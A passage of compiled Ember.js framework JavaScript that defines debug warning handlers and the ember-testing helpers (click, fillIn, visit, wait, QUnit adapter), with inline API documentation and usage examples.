return;
}
var handlerForType = HANDLERS[type];
if (handlerForType) {
handlerForType(message, options);
}
};
}
});
define("@ember/debug/lib/testing", ["exports"], function (_exports) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.isTesting = isTesting;
_exports.setTesting = setTesting;
var testing = false;
function isTesting() {
return testing;
}
function setTesting(value) {
testing = Boolean(value);
}
});
define("@ember/debug/lib/warn", ["exports", "@ember/debug/index", "@ember/debug/lib/handlers"], function (_exports, _index, _handlers) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.missingOptionsDeprecation = _exports.missingOptionsIdDeprecation = _exports.registerHandler = _exports.default = void 0;
var registerHandler = () => {};
_exports.registerHandler = registerHandler;
var warn = () => {};
var missingOptionsDeprecation;
_exports.missingOptionsDeprecation = missingOptionsDeprecation;
var missingOptionsIdDeprecation;
/**
@module @ember/debug
*/
_exports.missingOptionsIdDeprecation = missingOptionsIdDeprecation;
if (true
/* DEBUG */
) {
/**
Allows for runtime registration of handler functions that override the default warning behavior.
Warnings are invoked by calls made to [@ember/debug/warn](/ember/release/classes/@ember%2Fdebug/methods/warn?anchor=warn).
The following example demonstrates its usage by registering a handler that does nothing overriding Ember's
default warning behavior.
```javascript
import { registerWarnHandler } from '@ember/debug';
// next is not called, so no warnings get the default behavior
registerWarnHandler(() => {});
```
The handler function takes the following arguments:
<ul>
<li> <code>message</code> - The message received from the warn call. </li>
<li> <code>options</code> - An object passed in with the warn call containing additional information including:</li>
<ul>
<li> <code>id</code> - An id of the warning in the form of <code>package-name.specific-warning</code>.</li>
</ul>
<li> <code>next</code> - A function that calls into the previously registered handler.</li>
</ul>
@public
@static
@method registerWarnHandler
@for @ember/debug
@param handler {Function} A function to handle warnings.
@since 2.1.0
*/
_exports.registerHandler = registerHandler = function registerHandler(handler) {
(0, _handlers.registerHandler)('warn', handler);
};
registerHandler(function logWarning(message) {
/* eslint-disable no-console */
console.warn(`WARNING: ${message}`);
/* eslint-enable no-console */
});
_exports.missingOptionsDeprecation = missingOptionsDeprecation = 'When calling `warn` you ' + 'must provide an `options` hash as the third parameter. ' + '`options` should include an `id` property.';
_exports.missingOptionsIdDeprecation = missingOptionsIdDeprecation = 'When calling `warn` you must provide `id` in options.';
/**
Display a warning with the provided message.
* In a production build, this method is defined as an empty function (NOP).
Uses of this method in Ember itself are stripped from the ember.prod.js build.
```javascript
import { warn } from '@ember/debug';
import tomsterCount from './tomster-counter'; // a module in my project
// Log a warning if we have more than 3 tomsters
warn('Too many tomsters!', tomsterCount <= 3, {
id: 'ember-debug.too-many-tomsters'
});
```
@method warn
@for @ember/debug
@static
@param {String} message A warning to display.
@param {Boolean} test An optional boolean. If falsy, the warning
will be displayed.
@param {Object} options An object that can be used to pass a unique
`id` for this warning. The `id` can be used by Ember debugging tools
to change the behavior (raise, log, or silence) for that specific warning.
The `id` should be namespaced by dots, e.g. "ember-debug.feature-flag-with-features-stripped"
@public
@since 1.0.0
*/
warn = function warn(message, test, options) {
if (arguments.length === 2 && typeof test === 'object') {
options = test;
test = false;
}
(0, _index.assert)(missingOptionsDeprecation, Boolean(options));
(0, _index.assert)(missingOptionsIdDeprecation, Boolean(options && options.id));
(0, _handlers.invoke)('warn', message, test, options);
};
}
var _default = warn;
_exports.default = _default;
});
define("ember-testing/index", ["exports", "ember-testing/lib/test", "ember-testing/lib/adapters/adapter", "ember-testing/lib/setup_for_testing", "ember-testing/lib/adapters/qunit", "ember-testing/lib/support", "ember-testing/lib/ext/application", "ember-testing/lib/ext/rsvp", "ember-testing/lib/helpers", "ember-testing/lib/initializers"], function (_exports, _test, _adapter, _setup_for_testing, _qunit, _support, _application, _rsvp, _helpers, _initializers) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
Object.defineProperty(_exports, "Test", {
enumerable: true,
get: function () {
return _test.default;
}
});
Object.defineProperty(_exports, "Adapter", {
enumerable: true,
get: function () {
return _adapter.default;
}
});
Object.defineProperty(_exports, "setupForTesting", {
enumerable: true,
get: function () {
return _setup_for_testing.default;
}
});
Object.defineProperty(_exports, "QUnitAdapter", {
enumerable: true,
get: function () {
return _qunit.default;
}
});
});
define("ember-testing/lib/adapters/adapter", ["exports", "@ember/-internals/runtime"], function (_exports, _runtime) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = void 0;
function K() {
return this;
}
/**
@module @ember/test
*/
/**
The primary purpose of this class is to create hooks that can be implemented
by an adapter for various test frameworks.
@class TestAdapter
@public
*/
var _default = _runtime.Object.extend({
/**
This callback will be called whenever an async operation is about to start.
Override this to call your framework's methods that handle async
operations.
@public
@method asyncStart
*/
asyncStart: K,
/**
This callback will be called whenever an async operation has completed.
@public
@method asyncEnd
*/
asyncEnd: K,
/**
Override this method with your testing framework's false assertion.
This function is called whenever an exception occurs causing the testing
promise to fail.
QUnit example:
```javascript
exception: function(error) {
ok(false, error);
};
```
@public
@method exception
@param {String} error The exception to be raised.
*/
exception(error) {
throw error;
}
});
_exports.default = _default;
});
define("ember-testing/lib/adapters/qunit", ["exports", "@ember/-internals/utils", "ember-testing/lib/adapters/adapter"], function (_exports, _utils, _adapter) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = void 0;
/* globals QUnit */
/**
@module ember
*/
/**
This class implements the methods defined by TestAdapter for the
QUnit testing framework.
@class QUnitAdapter
@namespace Ember.Test
@extends TestAdapter
@public
*/
var _default = _adapter.default.extend({
init() {
this.doneCallbacks = [];
},
asyncStart() {
if (typeof QUnit.stop === 'function') {
// very old QUnit version
QUnit.stop();
} else {
this.doneCallbacks.push(QUnit.config.current ? QUnit.config.current.assert.async() : null);
}
},
asyncEnd() {
// checking for QUnit.stop here (even though we _need_ QUnit.start) because
// QUnit.start() still exists in QUnit 2.x (it just throws an error when calling
// inside a test context)
if (typeof QUnit.stop === 'function') {
QUnit.start();
} else {
var done = this.doneCallbacks.pop(); // This can be null if asyncStart() was called outside of a test
if (done) {
done();
}
}
},
exception(error) {
QUnit.config.current.assert.ok(false, (0, _utils.inspect)(error));
}
});
_exports.default = _default;
});
define("ember-testing/lib/events", ["exports", "@ember/runloop", "@ember/polyfills", "ember-testing/lib/helpers/-is-form-control"], function (_exports, _runloop, _polyfills, _isFormControl) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.focus = focus;
_exports.fireEvent = fireEvent;
var DEFAULT_EVENT_OPTIONS = {
canBubble: true,
cancelable: true
};
var KEYBOARD_EVENT_TYPES = ['keydown', 'keypress', 'keyup'];
var MOUSE_EVENT_TYPES = ['click', 'mousedown', 'mouseup', 'dblclick', 'mouseenter', 'mouseleave', 'mousemove', 'mouseout', 'mouseover'];
function focus(el) {
if (!el) {
return;
}
if (el.isContentEditable || (0, _isFormControl.default)(el)) {
var type = el.getAttribute('type');
if (type !== 'checkbox' && type !== 'radio' && type !== 'hidden') {
(0, _runloop.run)(null, function () {
var browserIsNotFocused = document.hasFocus && !document.hasFocus(); // makes `document.activeElement` be `element`. If the browser is focused, it also fires a focus event
el.focus(); // Firefox does not trigger the `focusin` event if the window
// does not have focus. If the document does not have focus then
// fire `focusin` event as well.
if (browserIsNotFocused) {
// if the browser is not focused the previous `el.focus()` didn't fire an event, so we simulate it
fireEvent(el, 'focus', {
bubbles: false
});
fireEvent(el, 'focusin');
}
});
}
}
}
function fireEvent(element, type, options = {}) {
if (!element) {
return;
}
var event;
if (KEYBOARD_EVENT_TYPES.indexOf(type) > -1) {
event = buildKeyboardEvent(type, options);
} else if (MOUSE_EVENT_TYPES.indexOf(type) > -1) {
var rect = element.getBoundingClientRect();
var x = rect.left + 1;
var y = rect.top + 1;
var simulatedCoordinates = {
screenX: x + 5,
screenY: y + 95,
clientX: x,
clientY: y
};
event = buildMouseEvent(type, (0, _polyfills.assign)(simulatedCoordinates, options));
} else {
event = buildBasicEvent(type, options);
}
element.dispatchEvent(event);
}
function buildBasicEvent(type, options = {}) {
var event = document.createEvent('Events'); // Event.bubbles is read only
var bubbles = options.bubbles !== undefined ? options.bubbles : true;
var cancelable = options.cancelable !== undefined ? options.cancelable : true;
delete options.bubbles;
delete options.cancelable;
event.initEvent(type, bubbles, cancelable);
(0, _polyfills.assign)(event, options);
return event;
}
function buildMouseEvent(type, options = {}) {
var event;
try {
event = document.createEvent('MouseEvents');
var eventOpts = (0, _polyfills.assign)({}, DEFAULT_EVENT_OPTIONS, options);
event.initMouseEvent(type, eventOpts.canBubble, eventOpts.cancelable, window, eventOpts.detail, eventOpts.screenX, eventOpts.screenY, eventOpts.clientX, eventOpts.clientY, eventOpts.ctrlKey, eventOpts.altKey, eventOpts.shiftKey, eventOpts.metaKey, eventOpts.button, eventOpts.relatedTarget);
} catch (e) {
event = buildBasicEvent(type, options);
}
return event;
}
function buildKeyboardEvent(type, options = {}) {
var event;
try {
event = document.createEvent('KeyEvents');
var eventOpts = (0, _polyfills.assign)({}, DEFAULT_EVENT_OPTIONS, options);
event.initKeyEvent(type, eventOpts.canBubble, eventOpts.cancelable, window, eventOpts.ctrlKey, eventOpts.altKey, eventOpts.shiftKey, eventOpts.metaKey, eventOpts.keyCode, eventOpts.charCode);
} catch (e) {
event = buildBasicEvent(type, options);
}
return event;
}
});
define("ember-testing/lib/ext/application", ["@ember/application", "ember-testing/lib/setup_for_testing", "ember-testing/lib/test/helpers", "ember-testing/lib/test/promise", "ember-testing/lib/test/run", "ember-testing/lib/test/on_inject_helpers", "ember-testing/lib/test/adapter"], function (_application, _setup_for_testing, _helpers, _promise, _run, _on_inject_helpers, _adapter) {
"use strict";
_application.default.reopen({
/**
This property contains the testing helpers for the current application. These
are created once you call `injectTestHelpers` on your `Application`
instance. The included helpers are also available on the `window` object by
default, but can be used from this object on the individual application also.
@property testHelpers
@type {Object}
@default {}
@public
*/
testHelpers: {},
/**
This property will contain the original methods that were registered
on the `helperContainer` before `injectTestHelpers` is called.
When `removeTestHelpers` is called, these methods are restored to the
`helperContainer`.
@property originalMethods
@type {Object}
@default {}
@private
@since 1.3.0
*/
originalMethods: {},
/**
This property indicates whether or not this application is currently in
testing mode. This is set when `setupForTesting` is called on the current
application.
@property testing
@type {Boolean}
@default false
@since 1.3.0
@public
*/
testing: false,
/**
This hook defers the readiness of the application, so that you can start
the app when your tests are ready to run. It also sets the router's
location to 'none', so that the window's location will not be modified
(preventing both accidental leaking of state between tests and interference
with your testing framework). `setupForTesting` should only be called after
setting a custom `router` class (for example `App.Router = Router.extend(`).
Example:
```
App.setupForTesting();
```
@method setupForTesting
@public
*/
setupForTesting() {
(0, _setup_for_testing.default)();
this.testing = true;
this.resolveRegistration('router:main').reopen({
location: 'none'
});
},
/**
This will be used as the container to inject the test helpers into. By
default the helpers are injected into `window`.
@property helperContainer
@type {Object} The object to be used for test helpers.
@default window
@since 1.2.0
@private
*/
helperContainer: null,
/**
This injects the test helpers into the `helperContainer` object. If an object is provided
it will be used as the helperContainer. If `helperContainer` is not set it will default
to `window`. If a function of the same name has already been defined it will be cached
(so that it can be reset if the helper is removed with `unregisterHelper` or
`removeTestHelpers`).
Any callbacks registered with `onInjectHelpers` will be called once the
helpers have been injected.
Example:
```
App.injectTestHelpers();
```
@method injectTestHelpers
@public
*/
injectTestHelpers(helperContainer) {
if (helperContainer) {
this.helperContainer = helperContainer;
} else {
this.helperContainer = window;
}
this.reopen({
willDestroy() {
this._super(...arguments);
this.removeTestHelpers();
}
});
this.testHelpers = {};
for (var name in _helpers.helpers) {
this.originalMethods[name] = this.helperContainer[name];
this.testHelpers[name] = this.helperContainer[name] = helper(this, name);
protoWrap(_promise.default.prototype, name, helper(this, name), _helpers.helpers[name].meta.wait);
}
(0, _on_inject_helpers.invokeInjectHelpersCallbacks)(this);
},
/**
This removes all helpers that have been registered, and resets and functions
that were overridden by the helpers.
Example:
```javascript
App.removeTestHelpers();
```
@public
@method removeTestHelpers
*/
removeTestHelpers() {
if (!this.helperContainer) {
return;
}
for (var name in _helpers.helpers) {
this.helperContainer[name] = this.originalMethods[name];
delete _promise.default.prototype[name];
delete this.testHelpers[name];
delete this.originalMethods[name];
}
}
}); // This method is no longer needed
// But still here for backwards compatibility
// of helper chaining
function protoWrap(proto, name, callback, isAsync) {
proto[name] = function (...args) {
if (isAsync) {
return callback.apply(this, args);
} else {
return this.then(function () {
return callback.apply(this, args);
});
}
};
}
function helper(app, name) {
var fn = _helpers.helpers[name].method;
var meta = _helpers.helpers[name].meta;
if (!meta.wait) {
return (...args) => fn.apply(app, [app, ...args]);
}
return (...args) => {
var lastPromise = (0, _run.default)(() => (0, _promise.resolve)((0, _promise.getLastPromise)())); // wait for last helper's promise to resolve and then
// execute. To be safe, we need to tell the adapter we're going
// asynchronous here, because fn may not be invoked before we
// return.
(0, _adapter.asyncStart)();
return lastPromise.then(() => fn.apply(app, [app, ...args])).finally(_adapter.asyncEnd);
};
}
});
define("ember-testing/lib/ext/rsvp", ["exports", "@ember/-internals/runtime", "@ember/runloop", "@ember/debug", "ember-testing/lib/test/adapter"], function (_exports, _runtime, _runloop, _debug, _adapter) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = void 0;
_runtime.RSVP.configure('async', function (callback, promise) {
// if schedule will cause autorun, we need to inform adapter
if ((0, _debug.isTesting)() && !_runloop._backburner.currentInstance) {
(0, _adapter.asyncStart)();
_runloop._backburner.schedule('actions', () => {
(0, _adapter.asyncEnd)();
callback(promise);
});
} else {
_runloop._backburner.schedule('actions', () => callback(promise));
}
});
var _default = _runtime.RSVP;
_exports.default = _default;
});
define("ember-testing/lib/helpers", ["ember-testing/lib/test/helpers", "ember-testing/lib/helpers/and_then", "ember-testing/lib/helpers/click", "ember-testing/lib/helpers/current_path", "ember-testing/lib/helpers/current_route_name", "ember-testing/lib/helpers/current_url", "ember-testing/lib/helpers/fill_in", "ember-testing/lib/helpers/find", "ember-testing/lib/helpers/find_with_assert", "ember-testing/lib/helpers/key_event", "ember-testing/lib/helpers/pause_test", "ember-testing/lib/helpers/trigger_event", "ember-testing/lib/helpers/visit", "ember-testing/lib/helpers/wait"], function (_helpers, _and_then, _click, _current_path, _current_route_name, _current_url, _fill_in, _find, _find_with_assert, _key_event, _pause_test, _trigger_event, _visit, _wait) {
"use strict";
(0, _helpers.registerAsyncHelper)('visit', _visit.default);
(0, _helpers.registerAsyncHelper)('click', _click.default);
(0, _helpers.registerAsyncHelper)('keyEvent', _key_event.default);
(0, _helpers.registerAsyncHelper)('fillIn', _fill_in.default);
(0, _helpers.registerAsyncHelper)('wait', _wait.default);
(0, _helpers.registerAsyncHelper)('andThen', _and_then.default);
(0, _helpers.registerAsyncHelper)('pauseTest', _pause_test.pauseTest);
(0, _helpers.registerAsyncHelper)('triggerEvent', _trigger_event.default);
(0, _helpers.registerHelper)('find', _find.default);
(0, _helpers.registerHelper)('findWithAssert', _find_with_assert.default);
(0, _helpers.registerHelper)('currentRouteName', _current_route_name.default);
(0, _helpers.registerHelper)('currentPath', _current_path.default);
(0, _helpers.registerHelper)('currentURL', _current_url.default);
(0, _helpers.registerHelper)('resumeTest', _pause_test.resumeTest);
});
define("ember-testing/lib/helpers/-is-form-control", ["exports"], function (_exports) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = isFormControl;
var FORM_CONTROL_TAGS = ['INPUT', 'BUTTON', 'SELECT', 'TEXTAREA'];
/**
@private
@param {Element} element the element to check
@returns {boolean} `true` when the element is a form control, `false` otherwise
*/
function isFormControl(element) {
var {
tagName,
type
} = element;
if (type === 'hidden') {
return false;
}
return FORM_CONTROL_TAGS.indexOf(tagName) > -1;
}
});
define("ember-testing/lib/helpers/and_then", ["exports"], function (_exports) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = andThen;
function andThen(app, callback) {
return app.testHelpers.wait(callback(app));
}
});
define("ember-testing/lib/helpers/click", ["exports", "ember-testing/lib/events"], function (_exports, _events) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = click;
/**
@module ember
*/
/**
Clicks an element and triggers any actions triggered by the element's `click`
event.
Example:
```javascript
click('.some-jQuery-selector').then(function() {
// assert something
});
```
@method click
@param {String} selector jQuery selector for finding element on the DOM
@param {Object} context A DOM Element, Document, or jQuery to use as context
@return {RSVP.Promise<undefined>}
@public
*/
function click(app, selector, context) {
var $el = app.testHelpers.findWithAssert(selector, context);
var el = $el[0];
(0, _events.fireEvent)(el, 'mousedown');
(0, _events.focus)(el);
(0, _events.fireEvent)(el, 'mouseup');
(0, _events.fireEvent)(el, 'click');
return app.testHelpers.wait();
}
});
define("ember-testing/lib/helpers/current_path", ["exports", "@ember/-internals/metal"], function (_exports, _metal) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = currentPath;
/**
@module ember
*/
/**
Returns the current path.
Example:
```javascript
function validateURL() {
equal(currentPath(), 'some.path.index', "correct path was transitioned into.");
}
click('#some-link-id').then(validateURL);
```
@method currentPath
@return {Object} The currently active path.
@since 1.5.0
@public
*/
function currentPath(app) {
var routingService = app.__container__.lookup('service:-routing');
return (0, _metal.get)(routingService, 'currentPath');
}
});
define("ember-testing/lib/helpers/current_route_name", ["exports", "@ember/-internals/metal"], function (_exports, _metal) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = currentRouteName;
/**
@module ember
*/
/**
Returns the currently active route name.
Example:
```javascript
function validateRouteName() {
equal(currentRouteName(), 'some.path', "correct route was transitioned into.");
}
visit('/some/path').then(validateRouteName)
```
@method currentRouteName
@return {Object} The name of the currently active route.
@since 1.5.0
@public
*/
function currentRouteName(app) {
var routingService = app.__container__.lookup('service:-routing');
return (0, _metal.get)(routingService, 'currentRouteName');
}
});
define("ember-testing/lib/helpers/current_url", ["exports", "@ember/-internals/metal"], function (_exports, _metal) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = currentURL;
/**
@module ember
*/
/**
Returns the current URL.
Example:
```javascript
function validateURL() {
equal(currentURL(), '/some/path', "correct URL was transitioned into.");
}
click('#some-link-id').then(validateURL);
```
@method currentURL
@return {Object} The currently active URL.
@since 1.5.0
@public
*/
function currentURL(app) {
var router = app.__container__.lookup('router:main');
return (0, _metal.get)(router, 'location').getURL();
}
});
define("ember-testing/lib/helpers/fill_in", ["exports", "ember-testing/lib/events", "ember-testing/lib/helpers/-is-form-control"], function (_exports, _events, _isFormControl) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = fillIn;
/**
@module ember
*/
/**
Fills in an input element with some text.
Example:
```javascript
fillIn('#email', 'you@example.com').then(function() {
// assert something
});
```
@method fillIn
@param {String} selector jQuery selector finding an input element on the DOM
to fill text with
@param {String} text text to place inside the input element
@return {RSVP.Promise<undefined>}
@public
*/
function fillIn(app, selector, contextOrText, text) {
var $el, el, context;
if (text === undefined) {
text = contextOrText;
} else {
context = contextOrText;
}
$el = app.testHelpers.findWithAssert(selector, context);
el = $el[0];
(0, _events.focus)(el);
if ((0, _isFormControl.default)(el)) {
el.value = text;
} else {
el.innerHTML = text;
}
(0, _events.fireEvent)(el, 'input');
(0, _events.fireEvent)(el, 'change');
return app.testHelpers.wait();
}
});
define("ember-testing/lib/helpers/find", ["exports", "@ember/-internals/metal", "@ember/debug", "@ember/-internals/views"], function (_exports, _metal, _debug, _views) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = find;
/**
@module ember
*/
/**
Finds an element in the context of the app's container element. A simple alias
for `app.$(selector)`.
Example:
```javascript
var $el = find('.my-selector');
```
With the `context` param:
```javascript
var $el = find('.my-selector', '.parent-element-class');
```
@method find
@param {String} selector jQuery selector for element lookup
@param {String} [context] (optional) jQuery selector that will limit the selector
argument to find only within the context's children
@return {Object} DOM element representing the results of the query
@public
*/
function find(app, selector, context) {
if (_views.jQueryDisabled) {
(true && !(false) && (0, _debug.assert)('If jQuery is disabled, please import and use helpers from @ember/test-helpers [https://github.com/emberjs/ember-test-helpers]. Note: `find` is not an available helper.'));
}
var $el;
context = context || (0, _metal.get)(app, 'rootElement');
$el = app.$(selector, context);
return $el;
}
});
define("ember-testing/lib/helpers/find_with_assert", ["exports"], function (_exports) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = findWithAssert;
/**
@module ember
*/
/**
Like `find`, but throws an error if the element selector returns no results.
Example:
```javascript
var $el = findWithAssert('.doesnt-exist'); // throws error
```
With the `context` param:
```javascript
var $el = findWithAssert('.selector-id', '.parent-element-class'); // assert will pass
```
@method findWithAssert
@param {String} selector jQuery selector string for finding an element within
the DOM
@param {String} [context] (optional) jQuery selector that will limit the
selector argument to find only within the context's children
@return {Object} jQuery object representing the results of the query
@throws {Error} throws error if object returned has a length of 0
@public
*/
function findWithAssert(app, selector, context) {
var $el = app.testHelpers.find(selector, context);
if ($el.length === 0) {
throw new Error('Element ' + selector + ' not found.');
}
return $el;
}
});
define("ember-testing/lib/helpers/key_event", ["exports"], function (_exports) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = keyEvent;
/**
@module ember
*/
/**
Simulates a key event, e.g. `keypress`, `keydown`, `keyup` with the desired keyCode
Example:
```javascript
keyEvent('.some-jQuery-selector', 'keypress', 13).then(function() {
// assert something
});
```
@method keyEvent
@param {String} selector jQuery selector for finding element on the DOM
@param {String} type the type of key event, e.g. `keypress`, `keydown`, `keyup`
@param {Number} keyCode the keyCode of the simulated key event
@return {RSVP.Promise<undefined>}
@since 1.5.0
@public
*/
function keyEvent(app, selector, contextOrType, typeOrKeyCode, keyCode) {
var context, type;
if (keyCode === undefined) {
context = null;
keyCode = typeOrKeyCode;
type = contextOrType;
} else {
context = contextOrType;
type = typeOrKeyCode;
}
return app.testHelpers.triggerEvent(selector, context, type, {
keyCode,
which: keyCode
});
}
});
define("ember-testing/lib/helpers/pause_test", ["exports", "@ember/-internals/runtime", "@ember/debug"], function (_exports, _runtime, _debug) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.resumeTest = resumeTest;
_exports.pauseTest = pauseTest;
/**
@module ember
*/
var resume;
/**
Resumes a test paused by `pauseTest`.
@method resumeTest
@return {void}
@public
*/
function resumeTest() {
(true && !(resume) && (0, _debug.assert)('Testing has not been paused. There is nothing to resume.', resume));
resume();
resume = undefined;
}
/**
Pauses the current test - this is useful for debugging while testing or for test-driving.
It allows you to inspect the state of your application at any point.
Example (The test will pause before clicking the button):
```javascript
visit('/')
return pauseTest();
click('.btn');
```
You may want to turn off the timeout before pausing.
qunit (timeout available to use as of 2.4.0):
```
visit('/');
assert.timeout(0);
return pauseTest();
click('.btn');
```
mocha (timeout happens automatically as of ember-mocha v0.14.0):
```
visit('/');
this.timeout(0);
return pauseTest();
click('.btn');
```
@since 1.9.0
@method pauseTest
@return {Object} A promise that will never resolve
@public
*/
function pauseTest() {
(0, _debug.info)('Testing paused. Use `resumeTest()` to continue.');
return new _runtime.RSVP.Promise(resolve => {
resume = resolve;
}, 'TestAdapter paused promise');
}
});
define("ember-testing/lib/helpers/trigger_event", ["exports", "ember-testing/lib/events"], function (_exports, _events) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = triggerEvent;
/**
@module ember
*/
/**
Triggers the given DOM event on the element identified by the provided selector.
Example:
```javascript
triggerEvent('#some-elem-id', 'blur');
```
This is actually used internally by the `keyEvent` helper like so:
```javascript
triggerEvent('#some-elem-id', 'keypress', { keyCode: 13 });
```
@method triggerEvent
@param {String} selector jQuery selector for finding element on the DOM
@param {String} [context] jQuery selector that will limit the selector
argument to find only within the context's children
@param {String} type The event type to be triggered.
@param {Object} [options] The options to be passed to jQuery.Event.
@return {RSVP.Promise<undefined>}
@since 1.5.0
@public
*/
function triggerEvent(app, selector, contextOrType, typeOrOptions, possibleOptions) {
var arity = arguments.length;
var context, type, options;
if (arity === 3) {
// context and options are optional, so this is
// app, selector, type
context = null;
type = contextOrType;
options = {};
} else if (arity === 4) {
// context and options are optional, so this is
if (typeof typeOrOptions === 'object') {
// either
// app, selector, type, options
context = null;
type = contextOrType;
options = typeOrOptions;
} else {
// or
// app, selector, context, type
context = contextOrType;
type = typeOrOptions;
options = {};
}
} else {
context = contextOrType;
type = typeOrOptions;
options = possibleOptions;
}
var $el = app.testHelpers.findWithAssert(selector, context);
var el = $el[0];
(0, _events.fireEvent)(el, type, options);
return app.testHelpers.wait();
}
});
define("ember-testing/lib/helpers/visit", ["exports", "@ember/runloop"], function (_exports, _runloop) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = visit;
/**
Loads a route, sets up any controllers, and renders any templates associated
with the route as though a real user had triggered the route change while
using your app.
Example:
```javascript
visit('posts/index').then(function() {
// assert something
});
```
@method visit
@param {String} url the name of the route
@return {RSVP.Promise<undefined>}
@public
*/
function visit(app, url) {
var router = app.__container__.lookup('router:main');
var shouldHandleURL = false;
app.boot().then(() => {
router.location.setURL(url);
if (shouldHandleURL) {
(0, _runloop.run)(app.__deprecatedInstance__, 'handleURL', url);
}
});
if (app._readinessDeferrals > 0) {
router.initialURL = url;
(0, _runloop.run)(app, 'advanceReadiness');
delete router.initialURL;
} else {
shouldHandleURL = true;
}
return app.testHelpers.wait();
}
});
define("ember-testing/lib/helpers/wait", ["exports", "ember-testing/lib/test/waiters", "@ember/-internals/runtime", "@ember/runloop", "ember-testing/lib/test/pending_requests"], function (_exports, _waiters, _runtime, _runloop, _pending_requests) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = wait;
/**
@module ember
*/
/**
Causes the run loop to process any pending events. This is used to ensure that
any async operations from other helpers (or your assertions) have been processed.
This is most often used as the return value for the helper functions (see 'click',
'fillIn','visit',etc). However, there is a method to register a test helper which
utilizes this method without the need to actually call `wait()` in your helpers.
The `wait` helper is built into `registerAsyncHelper` by default. You will not need
to `return app.testHelpers.wait();` - the wait behavior is provided for you.
Example:
```javascript
import { registerAsyncHelper } from '@ember/test';
registerAsyncHelper('loginUser', function(app, username, password) {
visit('secured/path/here')
.fillIn('#username', username)
.fillIn('#password', password)
.click('.submit');
});
```
@method wait
@param {Object} value The value to be returned.
@return {RSVP.Promise<any>} Promise that resolves to the passed value.
@public
@since 1.0.0
*/
function wait(app, value) {
return new _runtime.RSVP.Promise(function (resolve) {
var router = app.__container__.lookup('router:main'); // Every 10ms, poll for the async thing to have finished
var watcher = setInterval(() => {
// 1. If the router is loading, keep polling
var routerIsLoading = router._routerMicrolib && Boolean(router._routerMicrolib.activeTransition);
if (routerIsLoading) {
return;
} // 2. If there are pending Ajax requests, keep polling
if ((0, _pending_requests.pendingRequests)()) {
return;
} // 3. If there are scheduled timers or we are inside of a run loop, keep polling
if ((0, _runloop._hasScheduledTimers)() || (0, _runloop._getCurrentRunLoop)()) {
return;
}
if ((0, _waiters.checkWaiters)()) {
return;
} // Stop polling
clearInterval(watcher); // Synchronously resolve the promise
(0, _runloop.run)(null, resolve, value);
}, 10);
});
}
});
define("ember-testing/lib/initializers", ["@ember/application"], function (_application) {
"use strict";
var name = 'deferReadiness in `testing` mode';
(0, _application.onLoad)('Ember.Application', function (Application) {
if (!Application.initializers[name]) {
Application.initializer({
name: name,
initialize(application) {
if (application.testing) {
application.deferReadiness();
}
}
});
}
});
});
define("ember-testing/lib/setup_for_testing", ["exports", "@ember/debug", "@ember/-internals/views", "ember-testing/lib/test/adapter", "ember-testing/lib/test/pending_requests", "ember-testing/lib/adapters/adapter", "ember-testing/lib/adapters/qunit"], function (_exports, _debug, _views, _adapter, _pending_requests, _adapter2, _qunit) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = setupForTesting;
/* global self */
/**
Sets Ember up for testing. This is useful to perform
basic setup steps in order to unit test.
Use `App.setupForTesting` to perform integration tests (full
application testing).
@method setupForTesting
@namespace Ember
@since 1.5.0
@private
*/
function setupForTesting() {
(0, _debug.setTesting)(true);
var adapter = (0, _adapter.getAdapter)(); // if adapter is not manually set default to QUnit
if (!adapter) {
(0, _adapter.setAdapter)(typeof self.QUnit === 'undefined' ? _adapter2.default.create() : _qunit.default.create());
}
if (!_views.jQueryDisabled) {
(0, _views.jQuery)(document).off('ajaxSend', _pending_requests.incrementPendingRequests);
(0, _views.jQuery)(document).off('ajaxComplete', _pending_requests.decrementPendingRequests);
(0, _pending_requests.clearPendingRequests)();
(0, _views.jQuery)(document).on('ajaxSend', _pending_requests.incrementPendingRequests);
(0, _views.jQuery)(document).on('ajaxComplete', _pending_requests.decrementPendingRequests);
}
}
});
define("ember-testing/lib/support", ["@ember/debug", "@ember/-internals/views", "@ember/-internals/browser-environment"], function (_debug, _views, _browserEnvironment) {
"use strict";
/**
@module ember
*/
var $ = _views.jQuery;
/**
This method creates a checkbox and triggers the click event to fire the
passed in handler. It is used to correct for a bug in older versions
of jQuery (e.g 1.8.3).
@private
@method testCheckboxClick
*/
function testCheckboxClick(handler) {
var input = document.createElement('input');
$(input).attr('type', 'checkbox').css({
position: 'absolute',
left: '-1000px',
top: '-1000px'
}).appendTo('body').on('click', handler).trigger('click').remove();
}
if (_browserEnvironment.hasDOM && !_views.jQueryDisabled) {
$(function () {
/*
Determine whether a checkbox checked using jQuery's "click" method will have
the correct value for its checked property.
If we determine that the current jQuery version exhibits this behavior,
patch it to work correctly as in the commit for the actual fix:
https://github.com/jquery/jquery/commit/1fb2f92.
*/
testCheckboxClick(function () {
if (!this.checked && !$.event.special.click) {
$.event.special.click = {
// For checkbox, fire native event so checked state will be right
trigger() {
if (this.nodeName === 'INPUT' && this.type === 'checkbox' && this.click) {
this.click();
return false;
}
}
